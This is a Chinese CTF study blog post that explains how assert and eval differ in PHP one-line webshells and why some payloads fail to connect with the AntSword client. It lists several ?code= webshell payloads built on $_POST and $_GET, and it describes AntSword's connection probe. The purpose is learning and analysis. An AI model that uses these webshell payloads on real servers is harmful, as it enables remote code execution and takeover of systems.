关于一句话中使用的assert和eval
[2021-05-01 01:45:25 在更多的相关学习后更正了文中的一处错误]
一、起因
在一句话中常能见到使用使用assert和eval的使用,博主以往在二者区别上并未进一步的理解,直到不久前刷题时遇到了——[极客大挑战 2019]RCE ME 1发现和预期并不相同。在这题中源代码提供了一个可以执行代码的点。
即对code传入一句话再接上蚁剑或菜刀等工具,但是浏览其他师傅的文章时却发现均使用了同种格式的payload,即如下(这里直接使用绕过preg_match限制后的值来表示)。
#更正:此处并不严谨,以下对于payload的测试使用的均是拼接(这里将的拼接实际上是对字符串进行按位操作,具体请查看这篇博客:)后的值(写博客时未考虑到拼接这一过程本身的影响),如果是完全采用拼接时采用的值则部分payload是必要的,在以下将指正。在原题中由于preg_match的影响不得不采用其他字符拼接出Shell,而由于拼接这一过程本身就是对字符串进行处理再加上语法要求就出现了一个问题——一句拼接后的字符串无法起到调用函数的功能。如在原题中使用的Shell是这样的:
一共使用了两个拼接后的字符串,前一句是函数名assert,而后一句实际上是一个函数括号中的参数,所以实际上是这样的结构:
这就涉及到了另外一个问题——eval是语言构造器,所以无法使用eval这个函数名加上括号来调用eval函数,所以部分payload诸如assert(eval("XXX"))在拼接的环境下很有必要的。通过assert这个函数名配上括号来调用assert函数,进而才能调用安放于字符串参数中的eval函数从而发挥Shell的作用,至于eval函数的作用则在本文末有讲述。
Payload:?code=assert(eval($_POST['xxx']));
突然发觉为何要再assert内再加上eval,去掉assert中的eval不行么。按照此前的不成熟的猜测这两个函数都是命令执行,那应该assert($_POST['xxx']);就可以达到命令执行的效果了,于是在虚拟机上进行了测试,然而实际上是蚁剑连不上。
于是懵逼地测试了以下payload:
?code=assert(assert($_POST['xxx'])); #不可连接
?code=assert(eval($_POST['xxx'])); #可连接
?code=eval(eval($_POST['xxx'])); #可连接
?code=assert($_POST['xxx']); #不可连接
?code=eval($_POST['xxx']); #可连接
?code=assert(assert($_GET['xxx'])); #不可连接
?code=assert(eval($_GET['xxx'])); #不可连接
?code=eval(eval($_GET['xxx'])); #不可连接
?code=assert($_GET['xxx']); #不可连接
?code=eval($_GET['xxx']); #不可连接
更加懵逼了,为了进一步了解这其中的缘由(其实只是大概明白了表层原因),便有了这篇博客。
二、关于assert函数
官方文档:PHP: assert - Manual
在PHP版本<7.0时
assert会将传入的参数试着作为PHP代码去执行,这个参数可以是一个函数或者是一个表达式(是表达式时和本文讨论内容关系不大,具体请参考官方文档中的演示)也可以是一个字符串。在参数是字符串时则对其中的PHP代码语法要求不严格(字符串中的PHP代码最后一句代码尾端的;可以省略,其余的则不行),但对于多句PHP代码组成的字符串只会执行第一句(如果这个字符串中PHP代码存在语法错误则该字符串中的所有PHP代码均不会被执行)。
在这时PHP对于assert函数进行了更新(具体是在PHP7的哪个版本这里博主并不清楚Orz,但这个更新导致的后果通常是对于7.0及以上的版本来讨论的),assert在更新后无法将使用字符串作为参数,而传入GET或POST的数据默认的类型就是字符串,这就导致了assert不适宜再用来直接写马。
奇怪的特性
assert无法执行关于echo的代码,起初以为是echo是语言构造器的原因,但是用了同为语言构造器的print,发现却能用,emmmm.....
三、关于eval函数
官方文档:PHP: eval - Manual
eval会将传入的字符串作为PHP代码来进行解析,字符串中可以包含多句PHP代码,且所有的PHP代码均会被执行,但如果存在语法错误则整个字符串中的PHP代码均不会执行。字符串中可以包含PHP标签,但必须和已存在的标签闭合(PHP文件头部和尾部的PHP标签)。此外eval并没有assert的奇怪特性,关于echo的代码能够被正常执行。
四、最终结论
要明白为什么会此前payload中仅有部分可用就得先明白蚁剑通过payload中的SHELL究竟干了啥,这里用wireshark看下蚁剑发的包(这里蚁剑编码采用了base64,用default会导致有时的连不上马)。
可以看到蚁剑使用了POST方式对cmd传入eval执行一个随机生成的POST变量名的值base64解码,并且获得了相应的响应,便有了蚁剑绿色框显示的连接成功。这里将POST变量名的值转码一下再继续观察。
通过观察这段蚁剑测试连接起主要作用代码,不难发现两个特点:
- 使用了echo
- 由多句PHP代码构成
那么结论就明了了,关于payload部分可用的结果可以做出如下解释:
- 使用GET值作为马的连接密码的payload全部不可连接->蚁剑探测马是否可以用只使用了POST方式进行探测
- 仅使用assert的payload不可连接->原因有两个,一是因为蚁剑用来探测的语句由多句PHP代码构成,但assert只能执行第一句PHP代码;二是因为探测的语句使用了echo,而assert无法执行关于echo的代码
五、写在最后
这边文章主要是一时兴起的好奇心驱动写下来的,由于技术有限博主只是停留在表层分析了下一句话中的assert和eval(太菜了底层代码压根看不懂Orz),并最终解决了些对这两函数的疑惑。由于是个人探索着去获得一个解释,文章难免有疏漏或谬论,欢迎各位师傅斧正。在代码演示部分使用的PHP版本分别是PHP5.6.9和PHP7.3.4(在测试特性时使用了多个版本仍得到同个结果)。
参考链接: